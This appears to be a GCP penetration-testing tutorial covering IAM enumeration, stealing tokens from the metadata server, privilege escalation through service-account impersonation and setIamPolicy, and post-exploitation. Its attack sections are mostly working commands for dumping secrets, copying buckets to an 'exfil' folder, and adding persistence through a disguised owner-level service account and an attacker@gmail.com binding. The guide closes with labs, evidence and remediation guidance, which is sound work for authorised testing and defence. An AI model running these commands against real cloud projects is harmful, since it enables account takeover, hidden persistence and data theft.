10 min read

Cloud Security

GCP Pentesting

Google Cloud Platform (GCP) assessments focus on IAM service accounts, Cloud Storage buckets, Compute Engine instances, and Cloud Functions. GCP's service-account-centric model creates unique privilege escalation paths not found in AWS or Azure.

GCP Pentesting Kill Chain

Initial Access & Enumeration

Authentication & Project Discovery

auth-enum.sh
# Authenticate with user credentials
gcloud auth login

# Authenticate with stolen service account key
gcloud auth activate-service-account --key-file=key.json

# Check current identity and active project
gcloud config list
gcloud auth list
gcloud projects list  # List all projects you have access to
gcloud config set project PROJECT_ID

IAM & Service Account Enumeration

iam-enum.sh
# List service accounts (these are the primary attack targets in GCP)
gcloud iam service-accounts list --format="table(email,displayName,disabled)"

# Get project-level IAM policy (who has what roles)
gcloud projects get-iam-policy PROJECT_ID --format=json

# List all custom roles (may have overly permissive definitions)
gcloud iam roles list --project=PROJECT_ID

# Check your own permissions
gcloud projects get-iam-policy PROJECT_ID --flatten="bindings[].members"   --filter="bindings.members:$(gcloud config get-value account)"   --format="table(bindings.role)"

# Enumerate service account keys (look for user-managed keys)
for SA in $(gcloud iam service-accounts list --format="value(email)"); do
  echo "=== $SA ==="
  gcloud iam service-accounts keys list --iam-account="$SA" --format="table(keyId,keyType,validAfterTime)"
done

Service Enumeration

service-enum.sh
# Compute Engine instances (check for default SA, public IPs)
gcloud compute instances list --format="table(name,zone,status,networkInterfaces[0].accessConfigs[0].natIP,serviceAccounts[0].email)"

# Storage buckets
gsutil ls
gsutil ls -L gs://bucket-name/  # Detailed listing with ACLs

# Check for PUBLIC buckets (unauthenticated)
curl -s "https://storage.googleapis.com/bucket-name/"

# Cloud Functions (code may contain secrets)
gcloud functions list --format="table(name,runtime,status,serviceAccountEmail)"
gcloud functions describe FUNCTION_NAME --format=json

# Cloud SQL instances (database endpoints)
gcloud sql instances list --format="table(name,databaseVersion,ipAddresses)"

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret="secret-name"

# Cloud Run services
gcloud run services list --format="table(name,region,URL)"

# GKE clusters
gcloud container clusters list --format="table(name,zone,status,currentNodeCount)"

Metadata Service Exploitation

Warning

GCP metadata requires the Metadata-Flavor: Google header, which blocks most basic SSRF attacks. However, SSRF via user-controlled HTTP libraries that forward headers can still reach it.
metadata-exploitation.sh
# GCP metadata service (requires header — unlike AWS IMDSv1)
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/

# Instance identity and attributes
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/hostname
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/zone
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/

# Get the default service account access token (CRITICAL)
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Returns: {"access_token":"ya29.xxx","expires_in":3599,"token_type":"Bearer"}

# Get the service account email
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email"

# Get custom metadata (startup scripts often contain secrets)
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/attributes/startup-script"

# Project-wide metadata
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/project/attributes/"

# Use stolen token from attacker machine
curl -H "Authorization: Bearer ya29.xxx"   "https://cloudresourcemanager.googleapis.com/v1/projects"

Privilege Escalation

GCP privilege escalation revolves around service account impersonation and IAM policy manipulation. The iam.serviceAccounts.actAs permission is GCP's equivalent of AWS iam:PassRole.

Technique Required Permission Impact
Create SA key iam.serviceAccountKeys.create Persistent access as any SA
Impersonate SA token iam.serviceAccounts.getAccessToken Short-lived token as any SA
Set IAM policy resourcemanager.projects.setIamPolicy Grant yourself Owner role
Deploy Cloud Function as SA cloudfunctions.functions.create + actAs Execute code as privileged SA
Compute instance as SA compute.instances.create + actAs SSH into VM running as target SA
privilege-escalation.sh
# === Service Account Key Creation (persistent backdoor) ===
# If you have iam.serviceAccountKeys.create on a high-priv SA:
gcloud iam service-accounts keys create /tmp/key.json   --iam-account=admin-sa@project-id.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=/tmp/key.json

# === Service Account Token Impersonation ===
# If you have iam.serviceAccounts.getAccessToken:
gcloud auth print-access-token --impersonate-service-account=admin-sa@project-id.iam.gserviceaccount.com

# === setIamPolicy — Grant yourself Owner ===
# Get current policy, add your account, set it back
gcloud projects get-iam-policy PROJECT_ID --format=json > /tmp/policy.json
# Edit policy.json to add your account as roles/owner
gcloud projects set-iam-policy PROJECT_ID /tmp/policy.json

# === Cloud Function priv esc (execute code as target SA) ===
cat > /tmp/main.py << 'FUNC'
import subprocess, json
def escalate(request):
    # This function runs as the SA assigned to it
    result = subprocess.run(['gcloud', 'projects', 'get-iam-policy', 'PROJECT_ID', '--format=json'],
                          capture_output=True, text=True)
    return result.stdout
FUNC
gcloud functions deploy escalate --runtime=python312 --trigger-http --allow-unauthenticated   --service-account=admin-sa@project-id.iam.gserviceaccount.com --source=/tmp/ --entry-point=escalate

# === Compute Engine priv esc (SSH into VM with target SA) ===
gcloud compute instances create privesc-vm --zone=us-central1-a   --service-account=admin-sa@project-id.iam.gserviceaccount.com   --scopes=cloud-platform --image-family=debian-12 --image-project=debian-cloud
gcloud compute ssh privesc-vm --zone=us-central1-a
# Now inside VM: curl metadata to get admin SA token

Post-Exploitation & Persistence

post-exploitation.sh
# === Data Exfiltration ===
# Sync entire bucket to local disk
gsutil -m cp -r gs://sensitive-bucket/ ./exfil/

# Dump all secrets from Secret Manager
for secret in $(gcloud secrets list --format="value(name)"); do
  echo "=== $secret ==="
  gcloud secrets versions access latest --secret="$secret" 2>/dev/null
done

# Export Cloud SQL database
gcloud sql export sql INSTANCE_NAME gs://your-bucket/dump.sql --database=production

# Download Cloud Function source code (may contain hardcoded secrets)
for func in $(gcloud functions list --format="value(name)"); do
  echo "[+] Downloading $func"
  gcloud functions describe "$func" --format="value(sourceArchiveUrl)" | xargs -I{} gsutil cp {} "/tmp/$func.zip"
  unzip -o "/tmp/$func.zip" -d "/tmp/$func/" 2>/dev/null
  grep -rn "password|secret|key|token|api_key" "/tmp/$func/" 2>/dev/null
done

# === Persistence ===
# 1. Create SA key for long-term access
gcloud iam service-accounts keys create /tmp/backdoor-key.json   --iam-account=existing-sa@project-id.iam.gserviceaccount.com

# 2. Create a new service account that blends in
gcloud iam service-accounts create svc-monitoring-agent --display-name="Monitoring Agent"
gcloud projects add-iam-policy-binding PROJECT_ID   --member="serviceAccount:svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com"   --role="roles/owner"
gcloud iam service-accounts keys create /tmp/persist.json   --iam-account=svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com

# 3. Add external account to IAM policy (cross-org persistence)
gcloud projects add-iam-policy-binding PROJECT_ID   --member="user:attacker@gmail.com" --role="roles/editor"

# === Audit Log Awareness ===
# Check which services have audit logging enabled
gcloud projects get-iam-policy PROJECT_ID --format=json | jq '.auditConfigs'
# Note: Admin Activity logs are always on; Data Access logs may not be enabled

GCP Tools

Tool Category Best For
GCPBucketBrute Enumeration Brute-force bucket discovery and ACL testing
gcp_enum Enumeration Automated GCP resource enumeration and export
Hayat Exploitation IAM privilege escalation path discovery
ScoutSuite Auditing Multi-cloud security audit with HTML reports
Prowler Auditing CIS benchmark compliance checking
gcloud CLI Client Official CLI — essential for manual testing

GCP Pentesting Labs

Hands-on labs targeting GCP-specific attack techniques.

Service Account Key Theft & Impersonation Custom Lab medium
Deploy a Compute Engine VM with a default service accountExploit metadata service to retrieve the SA access tokenUse the token to enumerate project IAM policies and storage bucketsCreate a new SA key for persistent access (iam.serviceAccountKeys.create)Impersonate the SA from your local machine using the key fileClean up: delete the key and revoke the token
GCP Privilege Escalation via setIamPolicy Custom Lab hard
Start with a service account that has resourcemanager.projects.setIamPolicyGet the current project IAM policy and identify escalation pathsGrant your account the Owner role via setIamPolicyDeploy a Cloud Function as a highly privileged SA (actAs + create)Extract secrets from Secret Manager and Cloud SQLDocument the full privilege escalation chain with evidence
GCS Bucket Misconfiguration Audit Custom Lab easy
Use GCPBucketBrute to discover public buckets in the lab projectCheck bucket-level and object-level ACLs with gsutilAttempt unauthenticated reads and writes to misconfigured bucketsRun ScoutSuite or Prowler against the project for comprehensive findingsMap findings to CIS GCP Foundations Benchmark controls

Evidence to Capture

GCP findings turn on inheritance and on which API actually enforced the decision, so the project context is part of the evidence rather than background.

Project and organisation context: Project ID, project number, and the folder or organisation the policy is inherited from, for every finding.

IAM policy binding: The role, the member string (user, group or serviceAccount) and the resource it is bound to, including bindings inherited from above.

Service account key material: Key ID, key type, creation time and the account it belongs to. Never the private key itself.

API response: Raw JSON from the call that succeeded, so field names and values can be diffed against the client logs without translation.

Audit log entry: protoPayload.methodName, authenticationInfo.principalEmail and the timestamp for any action relied on as evidence.

Resource identifier: Bucket name and location, instance name and zone, or secret resource name exactly as returned.

Likely False Positives

GCP puts guardrails at the organisation and perimeter level, so a binding that reads as permissive may be overridden before it is ever exercised.

  • Org policy blocks the action: A binding can exist while a constraint, such as the one on service account key creation, refuses the action outright.
  • IAM Conditions exclude the request: A conditional binding may not apply to the time, resource or request attribute the test used, so the role never took effect.
  • API not enabled in the project: A disabled service returns an error that reads like a permission failure. Both may be findings, but they are different findings.
  • Default service account already restricted: The Compute Engine default account is often edited down or replaced; check before reporting default grants as live.
  • Uniform bucket-level access changes the answer: With uniform access the IAM policy is authoritative and ACLs are ignored, so checking the other one produces the wrong verdict.
  • VPC Service Controls in place: A service perimeter can block data access the IAM policy appears to allow, and the finding belongs to the perimeter design.
  • Audit logging off for the service: An absent log entry may be a logging gap rather than an absence of activity.

Testing Checklist

Identity

  • ☐ Project ID and project number recorded
  • ☐ Inherited bindings from folder and organisation checked
  • ☐ Custom roles expanded to their permission list
  • ☐ Service account keys enumerated by type and age
  • ☐ Workload identity federation bindings reviewed
  • ☐ Domain-restricted sharing state noted

Data

  • ☐ Uniform bucket-level access state recorded before assessing ACLs
  • ☐ Bucket IAM policy captured with the JSON format flag
  • ☐ Public access prevention state checked
  • ☐ Secret Manager versions and their accessors listed
  • ☐ BigQuery dataset and table access reviewed where in scope

Network

  • ☐ VPC firewall rules exported
  • ☐ External IP assignment on instances recorded
  • ☐ Metadata server reachability tested with and without the Metadata-Flavor header
  • ☐ Private Google Access and perimeter state noted

Logging

  • ☐ Audit log configuration captured per service: admin, data read, data write
  • ☐ Log sink destinations and exclusions noted
  • ☐ Security Command Center findings checked for duplicates
  • ☐ Timestamps captured in UTC with the log entry identifiers

Remediation & Defense

Identity

  • • Replace primitive roles such as Owner and Editor with predefined or custom roles at the narrowest resource
  • • Apply IAM Conditions to time-bound and resource-bound bindings
  • • Delete user-managed service account keys and move to workload identity federation
  • • Constrain domain-restricted sharing in the organisation policy

Data

  • • Enable uniform bucket-level access and turn on public access prevention
  • • Remove allUsers and allAuthenticatedUsers bindings
  • • Restrict Secret Manager accessor bindings to the workloads that read them, then rotate the secrets
  • • Enable customer-managed encryption where the data classification requires it

Network and metadata

  • • Set disable-legacy-endpoints=true so the metadata server requires the Metadata-Flavor header
  • • Replace default service accounts on instances with a dedicated least-privilege account
  • • Remove 0.0.0.0/0 ingress rules that reach management ports
  • • Put a service perimeter around the projects holding regulated data

Detection

  • • Enable data-access audit logs for the services that hold regulated data
  • • Export logs to a separate project the workload cannot write to
  • • Alert on setIamPolicy and on service account key creation